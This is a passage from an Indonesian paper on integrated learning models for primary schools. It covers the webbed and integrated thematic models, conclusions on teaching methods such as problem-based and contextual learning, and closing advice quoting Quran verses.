c) dalam memadukan ide-ide dalam satu bidang studi, maka usaha untuk mengembangkan keterhubungan antar bidang studi menjadi terabaikan.
b. Model Jaring Laba-Laba (The Webbed Model)

The Webbed Model (Model Jaring Laba-Laba) yaitu model yang menggunakan pendekatan tematik sebagai pusat pembelajaran yang dijabarkan dalam berbagai kegiatan dan/atau bidang pengembangan.

Ciri pendidikan berkualitas, adalah bukan hanya mengetahui sesuatu, melainkan dapat melakukan sesuatu yang fundamental untuk kehidupan. Pendidikan harus dapat memberikan bekal pengalaman kesadaran siswa untuk menjalankan kehidupan di masyarakat. Oleh karena itu proses pembelajaran yang bermakna menjadi hal yang penting dalam menentukan tercapainya pendidikan yang berkualitas. Sementara dari hasil pengamatan kenyataan dilapangan, kualitas pembelajaran di sekolah khususnya pembelajaran di SD sangat rendah, proses pembelajaran masih didominasi oleh guru. Kenyataan tersebut apabila dibiarkan akan berdampak terhadap mutu lulusan sekolah kita dimasa mendatang untuk mampu menghadapi tantangan global yang ditandai dengan berbagai tantangan.

Persepsi guru dan siswa dalam menerapkan pembelajaran terpadu model webbed atau jaring laba-laba dalam proses mengubah pola belajar siswa yang selama ini dijadikan sebagai objek dalam belajar menjadi subjek, terutama telah mampu mengembangkan kemampuan siswa dalam aspek kerja sama, toleransi, tenggang rasa, saling menghargai, berani berpendapat dan mampu mengembangkan nilai-nilai demokrasi. Sedang dalam hasil belajar telah dapat berhasil meningkatkan akademik siswa. Dan yang tak kalah pentingnya adalah telah dapat mengungkapkan respon siswa dan guru terhadap model pembelajran terpadu model webbed atau jaring laba-laba sangat positif, sehingga mereka labih bergairah dan antusias dalam belajar. Untuk itu perlu merekomendasikan pemanfaatan model pembelajaran terpadu model webbed atau jaring laba-laba sebagai altenatif pilihan model pembelajaran dalam proses belajar di Sekolah Dasar.
Langkah-langkah yang ditempuh dalam model pembelajaran jaring laba-laba, yaitu sebagai berikut:
a) Guru menyiapkan tema utama dari beberapa standar kompetensi lintas mata pelajaran/bidang Studi,
b) Guru menyiapkan tema-tema yang telah terpilih supaya tidak over lapping,
c) Guru menjelaskan tema-tema yang terkait sehingga materinya lebih luas,
d) Guru memilih konsep atau informasi yang bisa mendorong belajar siswa dengan pertimbangan lain yang memang sesuai dengan prinsip-prinsip pembelajaran terpadu.

Sebagai sebuah model, model jaring laba-laba mempunyai beberapa kelebihan dan keterbatasan. Kelebihan model jaring laba-laba adalah sebagai berikut:
a. adanya kekuatan motivasi internal yang berasal dari proses penentuan tema yang diminati anak,
b. relatif mudah digunakan,
c. mempermudah perencanaan kerja tim guru,
d. memberikan kejelasan payung melalui pendekatan tematik, dan
e. memudahkan anak untuk melihat berbagai kegiatan atau gagasan yang berbeda, tetapi saling terkait dalam satu tema.
Sedangkan keterbatasan model jaring laba-laba adalah:
a. cukup sulit dalam menentukan tema,
b. guru cenderung merumuskan tema secara dangkal,
c. guru tetap dituntut memenuhi misi kurikulum baku, dan
d. sering kali guru lebih memperhatikan kegiatan pembelajaran dari pada pengembangan konsep.

c. Model Integrasi/Model Thematic (The Integrated Model)

Model integrated yaitu pembelajaran yang mengintegrasikan beberapa tema yang serumpun pada mata pelajaran.
Pada pembelajaran tematis, tema berfungsi sebagai sarana untuk mengenalkan berbagai konsep pada anak dengan tujuan menyatukan isi kurikulum dan memperkaya perbendaharaan kata anak. Tema juga berisi bahan-bahan yang perlu dikembangkan lebih lanjut oleh guru. Kekuatan pembelajaran dengan pendekatan tema secara umum adalah pengalaman dan kegiatan belajar relevan dengan tingkat perkembangan dan kebutuhan anak, menyenangkan karena bertolak dari minat dan kebutuhan anak, hasil belajar akan bertahan lebih lama karena lebih berkesan dan bermakna, mengembangkan keterampilan berpikir melalui berbagai latihan pemecahan permasalahan yang dihadapi, serta menumbuhkan keterampilan sosial dalam bekerja sama, bertoleransi, berkomunikasi dan tanggap terhadap gagasan orang lain.
Langkah-langkah pembelajaran terpadu model integrated sebagai berikut:
a. guru menentukan salah satu tema dari mata-pelajaran yang akan dipadukan dengan tema-tema pada mata pelajaran lain,
b. guru mencari tema-tema dari mata-pelajaran lain yang memiliki makna yang sama,
c. guru memadukan tema-tema dari beberapa mata pelajaran yang dikemas menjadi satu tema besar,
d. guru menyusun RPP yang terdiri dari gabungan konsep-konsep beberapa mata-pelajaran,
e. guru menentukan alokasi waktu karena untuk pembelajaran ini biasanya memerlukan waktu lebih dari satu kali pertemuan.




BAB IV
PENUTUP



A. Kesimpulan
Metode mengajar adalah cara mengajar atau cara menyampaikan materi pelajaran kepada siswa untuk setiap pelajaran atau bidang studi. Metode mengajar itu bisa diterapkan untuk setiap pelajaran. Karena itu guru akan dapat memahaminya tanpa suatu keahlian khusus. Misalnya, menyampaikan materi pelajaran melalui ceramah, ekspositori, dan demonstrasi itu adalah cara-cara penyampaian materi yang berlaku secara umum. Untuk menguasainya tidak diperlukan keahlian khusus. Karena itu, ceramah dan sebagainya itu disebut metode mengajar.
Metode – metode mengajar yang akan diterapkan ialah : ceramah, ekspositori, latihan hafal (drill), latihan praktek (practice), tanya -jawab, demonstrasi, diskusi panel, “fish bowl”, seminar dan lain – lain), kegiatan lapangan, laboratorium, permainan, karyawisata, penemuan, inkuiri, pemecahan masalah, pemberian tugas, dan metode proyek. Selain itu akan ada metode mengajar lain yang tidak akan dibahas dalam buku ini karena penerapannya dalam pengajaran matematika lebih sukar misalnya sosiodrama, psikodrama, dan bermain peran. Jadi ketiga metode mengajar terakhir sukar untuk dijadikan tehnik mengajar dalam pengajaran matematika.
Dalam kenyataannya metode – metode itu tidak merupakan metode murni, maksudnya dapat berdiri sendiri tanpa keterlibatan metode lain, tapi saling melengkapi. Pada metode ekspositori ada penemuannya, pada metode penemuan ada ceramahnya, dan sebagainya.
Belajar Berdasarkan Masalah atau Problem Based Learning adalah Suatu proses pembelajaran yang diawali dari masalah-masalah yang ditemukan dalam suatu lingkungan pekerjaan.Problem Based Learning (PBL) adalah lingkungan belajar yang di dalamnya menggunakan masalah untuk belajar. Yaitu, sebelum pebelajar mempelajari suatu hal, mereka diharuskan mengidentifikasi suatu masalah, baik yang dihadapi secara nyata maupun telaah kasus.
Pendekatan Kontekstual atau Contextual Teaching and Learning (CTL) merupakan konsep belajar yang membantu guru mengaitkan antara materi yang diajarkan dengan situasi dunia nyata siswa dan mendorong siswa membuat hubungan antara pengetahuan yang dimilikinya dengan penerapannya dalam kehidupan mereka sebagai anggota keluarga dan masyarakat
Langkah awal dalam melaksanakan pembelajaran terpadu adalah pemilihan/ pengembangan topik atau tema. Dalam langkah awal ini guru mengajak anak didiknya untuk bersama-sama memilih dan mengembangkan topik atau tema tersebut. Dengan demikian anak didik terlibat aktif dalam proses pembelajaran dan pembuatan keputusan. Pembelajaran dengan menggunakan pendekatan terpadu ini diharapkan akan dapat memperbaiki kualitas pendidikan dasar, terutama untuk mencegah gejala penjejalan kurikulum dalam proses pembelajaran di sekolah.

B. Saran
1. Manusia menjadi jahat karena merasa cukup.
Pesan di atas diperingatkan di Al Qur’an surat (96) Al Alaq ayat 6-7.
Artinya : Ketahuilah! Sesungguhnya manusia benar-benar melampaui batas, Karena dia melihat dirinya serba cukup.
2. Hai orang-orang yang beriman hendaklah kamu jadi orang-orang yang selalu menegakkan (kebenaran) karena Allah, menjadi saksi dengan adil. Dan janganlah sekali-kali kebencianmu terhadap sesuatu kaum, mendorong kamu untuk berlaku tidak adil. Berlaku adillah, karena adil itu lebih dekat kepada takwa. Dan bertakwalah kepada Allah, sesungguhnya Allah Maha Mengetahui apa yang kamu kerjakan.( Al Maa'idah:8 )